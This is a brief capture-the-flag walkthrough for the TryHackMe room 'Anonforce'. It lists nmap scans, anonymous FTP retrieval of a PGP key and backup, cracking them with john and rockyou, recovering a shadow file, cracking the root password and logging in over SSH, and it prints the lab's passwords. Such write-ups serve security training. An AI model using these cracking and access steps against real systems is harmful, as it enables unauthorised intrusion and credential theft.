Anonforce
Room Link: https://tryhackme.com/room/bsidesgtanonforce
Initial Scan
Kali
nmap -A $VICTIM
Scan all ports
No other ports found
Kali
nmap -sV -sT -O -p 1-65535 $VICTIM
TCP/21 - FTP
Anonymous login is enabled. There was a folder called notread with a pgp file.
Kali
ftp $VICTIM
> cd notread
> mget *
I used john to crack the private.asc file
Kali
/opt/john/gpg2john private.asc > pgp.hash
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt
Kali
gpg --import private.asc
Password: xbox360
I was able to decrypt backup.pgp which had the shadow file
Kali
gpg --decrypt backup.pgp
Password: xbox360
I copied the above shadow file and tried cracking this file which gave me roots password.
Kali
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
Kali
ssh root@$VICTIM
Password: hikariLast updated